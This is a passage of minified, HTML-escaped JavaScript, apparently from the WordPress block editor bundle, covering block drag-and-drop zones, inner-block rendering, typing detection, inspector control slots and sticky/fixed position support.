D=p(),U=[t,...x(t,!0)];if(D.some(H=&gt;U.includes(H)))return;let j=b(t),z=g([t])[0],W=g(D);if(!KB(a,j,W,z))return;let se=S();if(y()&amp;&amp;se!==t)return;let ce=m(t).filter(H=&gt;!((0,mg.hasBlockSupport)(H.name,&quot;visibility&quot;,!0)&amp;&amp;H.attributes?.metadata?.blockVisibility===!1));if(ce.length===0){n.batch(()=&gt;{s({index:0,operation:&quot;insert&quot;}),C(t,0,{operation:&quot;insert&quot;})});return}let ie=ce.map(H=&gt;{let X=H.clientId;return{isUnmodifiedDefaultBlock:(0,mg.isUnmodifiedDefaultBlock)(H),getBoundingClientRect:()=&gt;{let ne=O.getElementById(`block-${X}`);return ne?ne.getBoundingClientRect():null},blockIndex:h(X),blockOrientation:f(X)?.orientation}}),re=gwe(ie,{x:T.clientX,y:T.clientY},f(t)?.orientation,{dropZoneElement:e,parentBlockClientId:o,parentBlockOrientation:o?f(o)?.orientation:void 0,rootBlockIndex:h(t)}),[Q,Y,J]=re,K=ie[Q]?.isUnmodifiedDefaultBlock;if(!(y()&amp;&amp;!K&amp;&amp;Y!==&quot;insert&quot;)){if(Y===&quot;group&quot;){let H=ce[Q],X=[H.name,...W].every(xe=&gt;xe===&quot;core/image&quot;),ne=d(&quot;core/gallery&quot;,t),le=k([H.clientId,p()]),ve=c(u(),&quot;block&quot;),he=ve&amp;&amp;ve.find(({name:xe})=&gt;xe===&quot;group-row&quot;);if(X&amp;&amp;!ne&amp;&amp;(!le||!he)||!X&amp;&amp;(!le||!he))return}n.batch(()=&gt;{s({index:Q,operation:Y,nearestSide:J});let H=[&quot;before&quot;,&quot;after&quot;].includes(Y)?o:t;C(H,Q,{operation:Y,nearestSide:J})})}},[v,b,t,g,p,a,S,y,m,f,e,o,h,n,I,C,d,k,c,u]),200);return(0,$B.__experimentalUseDropZone)({dropZoneElement:e,isDisabled:r,onDrop:E,onDragOver(T){L(T,T.currentTarget.ownerDocument)},onDragLeave(T){let{ownerDocument:O}=T.currentTarget;ZY(T.relatedTarget,O)||ZY(T.target,O)||(L.cancel(),B())},onDragEnd(){L.cancel(),P(),B()}})}var Yl=l(w(),1),bwe={};function kwe({children:e,clientId:t}){let o=KY(t);return(0,Yl.jsx)(g0,{value:o,children:e})}var vwe=(0,pg.memo)(Vy);function tq(e){let{clientId:t,allowedBlocks:o,prioritizedInserterBlocks:r,defaultBlock:n,directInsert:i,__experimentalDefaultBlock:s,__experimentalDirectInsert:a,template:c,templateLock:u,wrapperRef:d,templateInsertUpdatesSelection:f,__experimentalCaptureToolbars:m,__experimentalAppenderTagName:h,renderAppender:p,orientation:g,placeholder:b,layout:v,name:k,blockType:y,parentLock:S,defaultLayout:x}=e;jY(t,S,o,r,n,i,s,a,u,m,g,v),GY(t,c,u,f);let C=(0,vm.getBlockSupport)(k,&quot;layout&quot;)||(0,vm.getBlockSupport)(k,&quot;__experimentalLayout&quot;)||bwe,{allowSizingOnChildren:B=!1}=C,I=v||C,P=(0,pg.useMemo)(()=&gt;({...x,...I,...B&amp;&amp;{allowSizingOnChildren:!0}}),[x,I,B]),E=(0,Yl.jsx)(vwe,{rootClientId:t,renderAppender:p,__experimentalAppenderTagName:h,layout:P,wrapperRef:d,placeholder:b});return!y?.providesContext||Object.keys(y.providesContext).length===0?E:(0,Yl.jsx)(kwe,{clientId:t,children:E})}function ywe(e){return h1(e),(0,Yl.jsx)(tq,{...e})}var YB=(0,pg.forwardRef)((e,t)=&gt;{let o=ym({ref:t},e);return(0,Yl.jsx)(&quot;div&quot;,{className:&quot;block-editor-inner-blocks&quot;,children:(0,Yl.jsx)(&quot;div&quot;,{...o})})});function ym(e={},t={}){let{__unstableDisableLayoutClassNames:o,__unstableDisableDropZone:r,dropZoneElement:n}=t,{clientId:i,layout:s=null,__unstableLayoutClassNames:a=&quot;&quot;}=Ie(),c=(0,eq.useSelect)(S=&gt;{let{getBlockName:x,isZoomOut:C,getTemplateLock:B,getBlockRootClientId:I,getBlockEditingMode:P,getBlockSettings:E,getSectionRootClientId:L}=M(S(_));if(!i){let W=L();return{isDropZoneDisabled:C()&amp;&amp;W!==&quot;&quot;}}let{hasBlockSupport:T,getBlockType:O}=S(vm.store),D=x(i),U=P(i),G=I(i),[j]=E(i,&quot;layout&quot;),z=U===&quot;disabled&quot;;if(C()){let W=L();z=i!==W}return{__experimentalCaptureToolbars:T(D,&quot;__experimentalExposeControlsToChildren&quot;,!1),name:D,blockType:O(D),parentLock:B(G),parentClientId:G,isDropZoneDisabled:z,defaultLayout:j}},[i]),{__experimentalCaptureToolbars:u,name:d,blockType:f,parentLock:m,parentClientId:h,isDropZoneDisabled:p,defaultLayout:g}=c,b=QY({dropZoneElement:n,rootClientId:i,parentClientId:h}),v=(0,JY.useMergeRefs)([e.ref,r||p||s?.isManualPlacement&amp;&amp;window.__experimentalEnableGridInteractivity?null:b]),k={__experimentalCaptureToolbars:u,layout:s,name:d,blockType:f,parentLock:m,defaultLayout:g,...t},y=k.value&amp;&amp;k.onChange?ywe:tq;return{...e,ref:v,className:V(e.className,&quot;block-editor-block-list__layout&quot;,o?&quot;&quot;:a),children:i?(0,Yl.jsx)(y,{...k,clientId:i}):(0,Yl.jsx)(Vy,{...t})}}ym.save=vm.__unstableGetInnerBlocksProps;YB.DefaultBlockAppender=MY;YB.ButtonBlockAppender=LY;YB.Content=()=&gt;ym.save().children;var tS=YB;var oS=l(Z(),1),hg=l(F(),1),rV=l(Fe(),1),Er=l(it(),1);var oq=l(w(),1),Swe=new Set([Er.UP,Er.RIGHT,Er.DOWN,Er.LEFT,Er.ENTER,Er.BACKSPACE]);function _we(e){let{keyCode:t,shiftKey:o}=e;return!o&amp;&amp;Swe.has(t)}function rS(){let e=(0,hg.useSelect)(o=&gt;o(_).isTyping(),[]),{stopTyping:t}=(0,hg.useDispatch)(_);return(0,oS.useRefEffect)(o=&gt;{if(!e)return;let{ownerDocument:r}=o,n,i;function s(a){let{clientX:c,clientY:u}=a;n&amp;&amp;i&amp;&amp;(n!==c||i!==u)&amp;&amp;t(),n=c,i=u}return r.addEventListener(&quot;mousemove&quot;,s),()=&gt;{r.removeEventListener(&quot;mousemove&quot;,s)}},[e,t])}function nS(){let{isTyping:e}=(0,hg.useSelect)(i=&gt;{let{isTyping:s}=i(_);return{isTyping:s()}},[]),{startTyping:t,stopTyping:o}=(0,hg.useDispatch)(_),r=rS(),n=(0,oS.useRefEffect)(i=&gt;{let{ownerDocument:s}=i,{defaultView:a}=s,c=a.getSelection();if(e){let h=function(v){let{target:k}=v;b=a.setTimeout(()=&gt;{(0,rV.isTextField)(k)||o()})},p=function(v){let{keyCode:k}=v;(k===Er.ESCAPE||k===Er.TAB)&amp;&amp;o()},g=function(){c.isCollapsed||o()};var u=h,d=p,f=g;let b;return i.addEventListener(&quot;focus&quot;,h),i.addEventListener(&quot;keydown&quot;,p),s.addEventListener(&quot;selectionchange&quot;,g),()=&gt;{a.clearTimeout(b),i.removeEventListener(&quot;focus&quot;,h),i.removeEventListener(&quot;keydown&quot;,p),s.removeEventListener(&quot;selectionchange&quot;,g)}}function m(h){let{type:p,target:g}=h;!(0,rV.isTextField)(g)||!i.contains(g)||p===&quot;keydown&quot;&amp;&amp;!_we(h)||t()}return i.addEventListener(&quot;keypress&quot;,m),i.addEventListener(&quot;keydown&quot;,m),()=&gt;{i.removeEventListener(&quot;keypress&quot;,m),i.removeEventListener(&quot;keydown&quot;,m)}},[e,t,o]);return(0,oS.useMergeRefs)([r,n])}function xwe({children:e}){return(0,oq.jsx)(&quot;div&quot;,{ref:nS(),children:e})}var rq=xwe;var iS=l(A(),1),nq=l(Z(),1),iq=l(F(),1),sq=l(R(),1),aq=l(N(),1);var qB=l(w(),1);function nV({clientId:e,rootClientId:t=&quot;&quot;,position:o=&quot;top&quot;}){let[r,n]=(0,sq.useState)(!1),{sectionRootClientId:i,sectionClientIds:s,insertionPoint:a,blockInsertionPointVisible:c,blockInsertionPoint:u,blocksBeingDragged:d}=(0,iq.useSelect)(x=&gt;{let{getInsertionPoint:C,getBlockOrder:B,getSectionRootClientId:I,isBlockInsertionPointVisible:P,getBlockInsertionPoint:E,getDraggedBlockClientIds:L}=M(x(_)),T=I(),O=B(T);return{sectionRootClientId:T,sectionClientIds:O,insertionPoint:C(),blockInsertionPoint:E(),blockInsertionPointVisible:P(),blocksBeingDragged:L()}},[]),f=(0,nq.useReducedMotion)();if(!e)return;let m=!1;if(!(t===i&amp;&amp;s&amp;&amp;s.includes(e)))return null;let p=a?.index===0&amp;&amp;e===s[a.index],g=a&amp;&amp;a.hasOwnProperty(&quot;index&quot;)&amp;&amp;e===s[a.index-1];o===&quot;top&quot;&amp;&amp;(m=p||c&amp;&amp;u.index===0&amp;&amp;e===s[u.index]),o===&quot;bottom&quot;&amp;&amp;(m=g||c&amp;&amp;e===s[u.index-1]);let b=d[0],v=d.includes(e),k=s.indexOf(b),S=(k&gt;0?s[k-1]:null)===e;return(v||S)&amp;&amp;(m=!1),(0,qB.jsx)(iS.__unstableAnimatePresence,{children:m&amp;&amp;(0,qB.jsx)(iS.__unstableMotion.div,{initial:{height:0},animate:{height:&quot;calc(1 * var(--wp-block-editor-iframe-zoom-out-frame-size) / var(--wp-block-editor-iframe-zoom-out-scale)&quot;},exit:{height:0},transition:{type:&quot;tween&quot;,duration:f?0:.2,ease:[.6,0,.4,1]},className:V(&quot;block-editor-block-list__zoom-out-separator&quot;,{&quot;is-dragged-over&quot;:r}),&quot;data-is-insertion-point&quot;:&quot;true&quot;,onDragOver:()=&gt;n(!0),onDragLeave:()=&gt;n(!1),children:(0,qB.jsx)(iS.__unstableMotion.div,{initial:{opacity:0},animate:{opacity:1},exit:{opacity:0,transition:{delay:-.125}},transition:{ease:&quot;linear&quot;,duration:.1,delay:.125},children:(0,aq.__)(&quot;Drop pattern.&quot;)})})})}var Kr=l(w(),1),e1=(0,td.createContext)();e1.displayName=&quot;IntersectionObserverContext&quot;;var ZB=new WeakMap,wwe={trailing:!0};function Cwe({className:e,...t}){let{isOutlineMode:o,isFocusMode:r,isPreviewMode:n,editedContentOnlySection:i}=(0,Gi.useSelect)(f=&gt;{let{getSettings:m,isTyping:h,hasBlockSpotlight:p,getEditedContentOnlySection:g}=M(f(_)),{outlineMode:b,focusMode:v,isPreviewMode:k}=m();return{isOutlineMode:b&amp;&amp;!h(),isFocusMode:v||p(),isPreviewMode:k,editedContentOnlySection:g()}},[]),s=(0,Gi.useRegistry)(),{setBlockVisibility:a}=(0,Gi.useDispatch)(_),c=(0,XB.useDebounce)((0,td.useCallback)(()=&gt;{let f={};ZB.get(s).forEach(([m,h])=&gt;{f[m]=h}),a(f)},[s]),300,wwe),u=(0,td.useMemo)(()=&gt;{let{IntersectionObserver:f}=window;if(f)return new f(m=&gt;{ZB.get(s)||ZB.set(s,[]);for(let h of m){let p=h.target.getAttribute(&quot;data-block&quot;);ZB.get(s).push([p,h.isIntersecting])}c()})},[]),d=ym({ref:(0,XB.useMergeRefs)([hm(),IY(),nS()]),className:V(&quot;is-root-container&quot;,e,{&quot;is-outline-mode&quot;:o,&quot;is-focus-mode&quot;:r,&quot;is-preview-mode&quot;:n})},t);return(0,Kr.jsxs)(e1.Provider,{value:u,children:[(0,Kr.jsx)(&quot;div&quot;,{...d}),!!i&amp;&amp;(0,Kr.jsx)(Bwe,{clientId:i})]})}function Bwe({clientId:e}){let{stopEditingContentOnlySection:t}=M((0,Gi.useDispatch)(_)),o=(0,Gi.useSelect)(r=&gt;{let{isBlockSelected:n,hasSelectedInnerBlock:i,getBlockSelectionStart:s}=r(_);return!s()||n(e)||i(e,!0)},[e]);return(0,td.useEffect)(()=&gt;{o||t()},[o,t]),null}function Gh(e){return(0,Kr.jsx)(f0,{value:gO,children:(0,Kr.jsx)(Cwe,{...e})})}var Ewe=[],Twe=new Set;function Iwe({placeholder:e,rootClientId:t,renderAppender:o,__experimentalAppenderTagName:r,layout:n=wM}){let i=o!==!1,s=!!o,{order:a,isZoomOut:c,selectedBlocks:u,visibleBlocks:d,shouldRenderAppender:f}=(0,Gi.useSelect)(m=&gt;{let{getSettings:h,getBlockOrder:p,getSelectedBlockClientIds:g,__unstableGetVisibleBlocks:b,getTemplateLock:v,getBlockEditingMode:k,isSectionBlock:y,isContainerInsertableToInContentOnlyMode:S,getBlockName:x,isZoomOut:C,canInsertBlockType:B}=M(m(_)),I=p(t);if(h().isPreviewMode)return{order:I,selectedBlocks:Ewe,visibleBlocks:Twe};let P=g(),E=P[0],L=!t&amp;&amp;!E&amp;&amp;(!I.length||!B((0,lq.getDefaultBlockName)(),t)),T=!!(t&amp;&amp;E&amp;&amp;t===E),O=v(t);return{order:I,selectedBlocks:P,visibleBlocks:b(),isZoomOut:C(),shouldRenderAppender:(!y(t)||S(x(E),t))&amp;&amp;k(t)!==&quot;disabled&quot;&amp;&amp;(!O||O===&quot;contentOnly&quot;)&amp;&amp;i&amp;&amp;!C()&amp;&amp;(s||T||L)}},[t,i,s]);return(0,Kr.jsxs)(mH,{value:n,children:[a.map(m=&gt;(0,Kr.jsxs)(Gi.AsyncModeProvider,{value:!d.has(m)&amp;&amp;!u.includes(m),children:[c&amp;&amp;(0,Kr.jsx)(nV,{clientId:m,rootClientId:t,position:&quot;top&quot;}),(0,Kr.jsx)(g9,{rootClientId:t,clientId:m}),c&amp;&amp;(0,Kr.jsx)(nV,{clientId:m,rootClientId:t,position:&quot;bottom&quot;})]},m)),a.length&lt;1&amp;&amp;e,f&amp;&amp;(0,Kr.jsx)(dY,{tagName:r,rootClientId:t,CustomAppender:o})]})}function Vy(e){return(0,Kr.jsx)(Gi.AsyncModeProvider,{value:!1,children:(0,Kr.jsx)(Iwe,{...e})})}var Ug=l(F(),1),JV=l(Fe(),1),e3=l(A(),1),YQ=l(Is(),1),ST=l(R(),1),Hg=l($(),1),t3=l(Xo(),1),Gg=l(N(),1);var Mq=l(Z(),1),Dq=l(F(),1),Vq=l(Fe(),1),Ea=l(R(),1);var Xn=l(N(),1),_m=l($(),1),sE=l(A(),1),Pq=l(Z(),1),Rq=l(F(),1),aE=l(R(),1);var aS=l(A(),1),mq=l(Qv(),1),pq=l(Re(),1),oE=l(R(),1);var Tr=l(A(),1),cq=(0,Tr.createSlotFill)(&quot;InspectorControls&quot;),Pwe=(0,Tr.createSlotFill)(&quot;InspectorAdvancedControls&quot;),Rwe=(0,Tr.createSlotFill)(&quot;InspectorControlsBindings&quot;),Owe=(0,Tr.createSlotFill)(&quot;InspectorControlsBackground&quot;),Awe=(0,Tr.createSlotFill)(&quot;InspectorControlsBorder&quot;),Lwe=(0,Tr.createSlotFill)(&quot;InspectorControlsColor&quot;),Nwe=(0,Tr.createSlotFill)(&quot;InspectorControlsFilter&quot;),Mwe=(0,Tr.createSlotFill)(&quot;InspectorControlsDimensions&quot;),Dwe=(0,Tr.createSlotFill)(&quot;InspectorControlsPosition&quot;),Vwe=(0,Tr.createSlotFill)(&quot;InspectorControlsTypography&quot;),Fwe=(0,Tr.createSlotFill)(&quot;InspectorControlsListView&quot;),zwe=(0,Tr.createSlotFill)(&quot;InspectorControlsStyles&quot;),jwe=(0,Tr.createSlotFill)(&quot;InspectorControlsEffects&quot;),Uwe=(0,Tr.createSlotFill)(&quot;InspectorControlsContent&quot;),Hwe={default:cq,advanced:Pwe,background:Owe,bindings:Rwe,border:Awe,color:Lwe,content:Uwe,dimensions:Mwe,effects:jwe,filter:Nwe,list:Fwe,position:Dwe,settings:cq,styles:zwe,typography:Vwe},Wi=Hwe,sS=(0,Tr.createSlotFill)(Symbol(&quot;PrivateInspectorControlsAllowedBlocks&quot;));var gg=l(A(),1),JB=l(R(),1),uq=l(Z(),1),eE=l(F(),1);var QB=l(w(),1),dq=Symbol(&quot;ListViewContentPopover&quot;),{Fill:fq,Slot:Gwe}=(0,gg.createSlotFill)(dq);function Wwe(){return(0,uq.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?{}:{popoverProps:{placement:&quot;left-start&quot;,offset:35,resize:!1}}}function tE({listViewRef:e}){let{popoverProps:t}=Wwe(),o=(0,gg.__experimentalUseSlotFills)(dq),r=!!(o&amp;&amp;o.length),{selectedClientId:n,isOpen:i}=(0,eE.useSelect)(u=&gt;{let{getSelectedBlockClientId:d}=u(_),f=M(u(_));return{selectedClientId:d(),isOpen:f.isListViewContentPanelOpen()}},[]),[s,a]=(0,JB.useState)(null);(0,JB.useLayoutEffect)(()=&gt;{if(!n||!e?.current){a(null);return}let u=e.current.querySelector(`[data-block=&quot;${n}&quot;]`);a(u)},[n,e]);let{closeListViewContentPanel:c}=M((0,eE.useDispatch)(_));return!i||!r||!s?null:(0,QB.jsx)(gg.Popover,{...t??{},className:&quot;block-editor-inspector-list-view-content-popover&quot;,anchor:s,onClose:c,children:(0,QB.jsx)(&quot;div&quot;,{style:{width:&quot;280px&quot;},children:(0,QB.jsx)(Gwe,{})})})}var od=l(w(),1),$we=[&quot;content&quot;,&quot;list&quot;],Kwe=[&quot;default&quot;,&quot;settings&quot;,&quot;advanced&quot;];function Sm({children:e,group:t=&quot;default&quot;,__experimentalGroup:o,resetAllFilter:r}){o&amp;&amp;((0,pq.default)(&quot;`__experimentalGroup` property in `InspectorControlsFill`&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;`group`&quot;}),t=o);let n=Ie(),i=Wi[t]?.Fill;if(!i)return(0,mq.default)(`Unknown InspectorControls group &quot;${t}&quot; provided.`),null;if(n[$c]){let s=n.name===&quot;core/template-part&quot;,a=Kwe.includes(t),c=$we.includes(t);if(!(s&amp;&amp;a||c))return null}return!n[$c]&amp;&amp;!n[bs]?null:t===&quot;content&quot;&amp;&amp;n[Hk]&amp;&amp;n[$c]?n[bs]?(0,od.jsx)(aS.__experimentalStyleProvider,{document,children:(0,od.jsx)(fq,{children:e})}):null:(0,od.jsx)(aS.__experimentalStyleProvider,{document,children:(0,od.jsx)(i,{children:s=&gt;(0,od.jsx)(qwe,{fillProps:s,children:e,resetAllFilter:r})})})}function Ywe({resetAllFilter:e,children:t}){let{registerResetAllFilter:o,deregisterResetAllFilter:r}=(0,oE.useContext)(aS.__experimentalToolsPanelContext);return(0,oE.useEffect)(()=&gt;{if(e&amp;&amp;o&amp;&amp;r)return o(e),()=&gt;{r(e)}},[e,o,r]),t}function qwe({children:e,resetAllFilter:t,fillProps:o}){let{forwardedContext:r=[]}=o,n=(0,od.jsx)(Ywe,{resetAllFilter:t,children:e});return r.reduce((i,[s,a])=&gt;(0,od.jsx)(s,{...a,children:i}),n)}var _q=l(A(),1),xq=l(R(),1),wq=l(Qv(),1),Cq=l(Re(),1);var gq=l(A(),1),rE=l(F(),1),bq=l(R(),1);var hq=l(Z(),1);function Ro(){return(0,hq.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?{}:{popoverProps:{placement:&quot;left-start&quot;,offset:259}}}function bg(e,t){if(!e||!t)return t;let o=e.split(&quot;,&quot;),r=t.split(&quot;,&quot;),n=[];return o.forEach(i=&gt;{r.forEach(s=&gt;{n.push(`${i.trim()} ${s.trim()}`)})}),n.join(&quot;, &quot;)}var kq=l(w(),1);function vq({children:e,group:t,label:o}){let{updateBlockAttributes:r}=(0,rE.useDispatch)(_),{getBlockAttributes:n,getMultiSelectedBlockClientIds:i,getSelectedBlockClientId:s,hasMultiSelection:a}=(0,rE.useSelect)(_),c=Ro(),u=s(),d=(0,bq.useCallback)((f=[])=&gt;{let m={},h=a()?i():[u];h.forEach(p=&gt;{let{style:g}=n(p),b={style:g};f.forEach(v=&gt;{b={...b,...v(b)}}),b={...b,style:Me(b.style)},m[p]=b}),r(h,m,!0)},[n,i,a,u,r]);return(0,kq.jsx)(gq.__experimentalToolsPanel,{className:`${t}-block-support-panel`,label:o,resetAll:d,panelId:u,hasInnerWrapper:!0,shouldRenderPlaceholderItems:!0,__experimentalFirstVisibleItemClass:&quot;first&quot;,__experimentalLastVisibleItemClass:&quot;last&quot;,dropdownMenuProps:c,children:e},u)}var iV=l(A(),1),nE=l(R(),1),yq=l(w(),1);function Sq({Slot:e,fillProps:t,...o}){let r=(0,nE.useContext)(iV.__experimentalToolsPanelContext),n=(0,nE.useMemo)(()=&gt;({...t??{},forwardedContext:[...t?.forwardedContext??[],[iV.__experimentalToolsPanelContext.Provider,{value:r}]]}),[r,t]);return(0,yq.jsx)(e,{...o,fillProps:n,bubblesVirtually:!0})}var iE=l(w(),1);function Zwe({__experimentalGroup:e,group:t=&quot;default&quot;,label:o,fillProps:r,...n},i){e&amp;&amp;((0,Cq.default)(&quot;`__experimentalGroup` property in `InspectorControlsSlot`&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;,alternative:&quot;`group`&quot;}),t=e);let s=Wi[t],a=(0,_q.__experimentalUseSlotFills)(s?.name);if(!s)return(0,wq.default)(`Unknown InspectorControls group &quot;${t}&quot; provided.`),null;if(!a?.length)return null;let{Slot:c}=s;return o?(0,iE.jsx)(vq,{group:t,label:o,children:(0,iE.jsx)(Sq,{...n,fillProps:r,Slot:c})}):(0,iE.jsx)(c,{...n,ref:i,fillProps:r,bubblesVirtually:!0})}var sV=(0,xq.forwardRef)(Zwe);var aV=l(w(),1),Bq=Sm;Bq.Slot=sV;var rd=e=&gt;(0,aV.jsx)(Sm,{...e,group:&quot;advanced&quot;});rd.Slot=function(t){return(0,aV.jsx)(sV,{...t,group:&quot;advanced&quot;})};rd.slotName=&quot;InspectorAdvancedControls&quot;;var fe=Bq;var Tq=l(F(),1),nd=l($(),1),lS=l(N(),1);function Eq(e){let t=e?.style?.position?.type;return t===&quot;sticky&quot;?(0,lS.__)(&quot;Sticky&quot;):t===&quot;fixed&quot;?(0,lS.__)(&quot;Fixed&quot;):null}function Tt(e){return(0,Tq.useSelect)(t=&gt;{if(!e)return null;let{getBlockName:o,getBlockAttributes:r,__experimentalGetParsedPattern:n}=t(_),{getBlockType:i,getActiveBlockVariation:s}=t(nd.store),a=o(e),c=i(a);if(!c)return null;let u=r(e),d=u?.metadata?.patternName;if(d){let v=n(d),k=Eq(u);return{isSynced:!1,title:(0,lS.__)(&quot;Pattern&quot;),icon:Ei,description:v?.description||(0,lS.__)(&quot;A block pattern.&quot;),anchor:u?.anchor,positionLabel:k,positionType:u?.style?.position?.type,name:v?.title||u?.metadata?.name}}let f=s(a,u),m=(0,nd.isReusableBlock)(c)||(0,nd.isTemplatePart)(c),p=(m?(0,nd.__experimentalGetBlockLabel)(c,u):void 0)||c.title,g=Eq(u),b={isSynced:m,title:p,icon:c.icon,description:c.description,anchor:u?.anchor,positionLabel:g,positionType:u?.style?.position?.type,name:u?.metadata?.name};return f?{isSynced:m,title:f.title||c.title,icon:f.icon||c.icon,description:f.description||c.description,anchor:u?.anchor,positionLabel:g,positionType:u?.style?.position?.type,name:u?.metadata?.name}:b},[e])}var cS=l(w(),1),uS=&quot;position&quot;,lV={key:&quot;default&quot;,value:&quot;&quot;,name:(0,Xn.__)(&quot;Default&quot;)},cV={key:&quot;sticky&quot;,value:&quot;sticky&quot;,name:(0,Xn._x)(&quot;Sticky&quot;,&quot;Name for the value of the CSS position property&quot;),hint:(0,Xn.__)(&quot;The block will stick to the top of the window instead of scrolling.&quot;)},Iq={key:&quot;fixed&quot;,value:&quot;fixed&quot;,name:(0,Xn._x)(&quot;Fixed&quot;,&quot;Name for the value of the CSS position property&quot;),hint:(0,Xn.__)(&quot;The block will not move when the page is scrolled.&quot;)},Xwe=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;],Qwe=[&quot;sticky&quot;,&quot;fixed&quot;];function Jwe({selector:e,style:t}){let o=&quot;&quot;,{type:r}=t?.position||{};return Qwe.includes(r)&amp;&amp;(o+=`${e} {`,o+=`position: ${r};`,Xwe.forEach(n=&gt;{t?.position?.[n]!==void 0&amp;&amp;(o+=`${n}: ${t.position[n]};`)}),(r===&quot;sticky&quot;||r===&quot;fixed&quot;)&amp;&amp;(o+=&quot;z-index: 10&quot;),o+=&quot;}&quot;),o}function eCe(e){let t=(0,_m.getBlockSupport)(e,uS);return!!(t===!0||t?.sticky)}function tCe(e){let t=(0,_m.getBlockSupport)(e,uS);return!!(t===!0||t?.fixed)}function oCe(e){return!!(0,_m.getBlockSupport)(e,uS)}function Oq(e){let t=e?.style?.position?.type;return t===&quot;sticky&quot;||t===&quot;fixed&quot;}function Aq({name:e}={}){let[t,o]=me(&quot;position.fixed&quot;,&quot;position.sticky&quot;),r=!t&amp;&amp;!o;return!oCe(e)||r}function rCe({style:e={},clientId:t,name:o,setAttributes:r}){let n=tCe(o),i=eCe(o),s=e?.position?.type,{firstParentClientId:a}=(0,Rq.useSelect)(h=&gt;{let{getBlockParents:p}=h(_),g=p(t);return{firstParentClientId:g[g.length-1]}},[t]),c=Tt(a),u=i&amp;&amp;s===cV.value&amp;&amp;c?(0,Xn.sprintf)((0,Xn.__)(&quot;The block will stick to the scrollable area of the parent %s block.&quot;),c.title):null,d=(0,aE.useMemo)(()=&gt;{let h=[lV];return(i||s===cV.value)&amp;&amp;h.push(cV),(n||s===Iq.value)&amp;&amp;h.push(Iq),h},[n,i,s]),f=h=&gt;{let g={...e,position:{...e?.position,type:h,top:h===&quot;sticky&quot;||h===&quot;fixed&quot;?&quot;0px&quot;:void 0}};r({style:Me(g)})},m=s&amp;&amp;d.find(h=&gt;h.value===s)||lV;return aE.Platform.select({web:d.length&gt;1?(0,cS.jsx)(fe,{group:&quot;position&quot;,children:(0,cS.jsx)(sE.BaseControl,{help:u,children:(0,cS.jsx)(sE.CustomSelectControl,{__next40pxDefaultSize:!0,label:(0,Xn.__)(&quot;Position&quot;),hideLabelFromVision:!0,describedBy:(0,Xn.sprintf)((0,Xn.__)(&quot;Currently selected position: %s&quot;),m.name),options:d,value:m,onChange:({selectedItem:h})=&gt;{f(h.value)},size:&quot;__unstable-large&quot;})})}):null,native:null})}var uV={edit:function(t){return Aq(t)?null:(0,cS.jsx)(rCe,{...t})},useBlockProps:iCe,attributeKeys:[&quot;style&quot;],hasSupport(e){return(0,_m.hasBlockSupport)(e,uS)}},nCe={};function iCe({name:e,style:t}){let o=(0,_m.hasBlockSupport)(e,uS),r=Aq({name:e}),n=o&amp;&amp;!r,i=(0,Pq.useInstanceId)(nCe),s=`.wp-container-${i}.wp-container-${i}`,a;n&amp;&amp;(a=Jwe({selector:s,style:t})||&quot;&quot;);let c=V({[`wp-container-${i}`]:n&amp;&amp;!!a,[`is-position-${t?.position?.type}`]:n&amp;&amp;!!a&amp;&amp;!!t?.position?.type});return Qn({css:a}),{className:c}}var Fq={placement:&quot;top-start&quot;},Lq={...Fq,flip:!1,shift:!0},sCe={...Fq,flip:!0,shift:!1};function Nq(e,t,o,r,n){if(!e||!t)return Lq;let i=o?.scrollTop||0,s=Sh(t),a=e.getBoundingClientRect(),c=i+a.top,u=e.ownerDocument.documentElement.clientHeight,d=c+r,f=s.top&gt;d,m=s.height&gt;u-r;return!n&amp;&amp;(f||m)?Lq:sCe}function lE({contentElement:e,clientId:t}){let o=Xe(t),[r,n]=(0,Ea.useState)(0),{blockIndex:i,isSticky:s}=(0,Dq.useSelect)(m=&gt;{let{getBlockIndex:h,getBlockAttributes:p}=m(_);return{blockIndex:h(t),isSticky:Oq(p(t))}},[t]),a=(0,Ea.useMemo)(()=&gt;{if(e)return(0,Vq.getScrollContainer)(e)},[e]),[c,u]=(0,Ea.useState)(()=&gt;Nq(e,o,a,r,s)),d=(0,Mq.useRefEffect)(m=&gt;{n(m.offsetHeight)},[]),f=(0,Ea.useCallback)(()=&gt;u(Nq(e,o,a,r,s)),[e,o,a,r]);return(0,Ea.useLayoutEffect)(f,[i,f]),(0,Ea.useLayoutEffect)(()=&gt;{if(!e||!o)return;let m=e?.ownerDocument?.defaultView;m?.addEventHandler?.(&quot;resize&quot;,f);let h,p=o?.ownerDocument?.defaultView;return p.ResizeObserver&amp;&amp;(h=new p.ResizeObserver(f),h.observe(o)),()=&gt;{m?.removeEventHandler?.(&quot;resize&quot;,f),h&amp;&amp;h.disconnect()}},[f,e,o]),{...c,ref:d}}var zq=l(F(),1);function cE(e){return(0,zq.useSelect)(o=&gt;{let{getBlockRootClientId:r,getBlockParents:n,__experimentalGetBlockListSettingsForBlocks:i,isBlockInsertionPointVisible:s,getBlockInsertionPoint:a,getBlockOrder:c,hasMultiSelection:u,getLastMultiSelectedBlockClientId:d}=o(_),f=n(e),m=i(f),h=f.find(g=&gt;m[g]?.__experimentalCaptureToolbars),p=!1;if(s()){let g=a();p=c(g.rootClientId)[g.index]===e}return{capturingClientId:h,isInsertionPointVisible:p,lastClientId:u()?d():null,rootClientId:r(e)}},[e])}var uE=l(w(),1);function jq({clientId:e,__unstableContentRef:t}){let{capturingClientId:o,isInsertionPointVisible:r,lastClientId:n,rootClientId:i}=cE(e),s=lE({contentElement:t?.current,clientId:e});return(0,uE.jsx)(Hi,{clientId:o||e,bottomClientId:n,className:V(&quot;block-editor-block-list__block-side-inserter-popover&quot;,{&quot;is-insertion-point-visible&quot;:r}),__unstableContentRef:t,...s,children:(0,uE.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-list__empty-block-inserter&quot;,children:(0,uE.jsx)(Ui,{position:&quot;bottom right&quot;,rootClientId:i,clientId:e,__experimentalIsQuick:!0})})})}var DQ=l(F(),1),jg=l(R(),1),VQ=l(Is(),1);var OQ=l(N(),1),AQ=l(F(),1),qV=l(R(),1),LQ=l(Z(),1),nc=l($(),1),NQ=l(A(),1);var xm=l(A(),1),Qq=l(F(),1),Jq=l(N(),1);var $q=l($(),1),Kq=l(A(),1),dS=l(F(),1),fS=l(R(),1),Yq=l(Z(),1);var 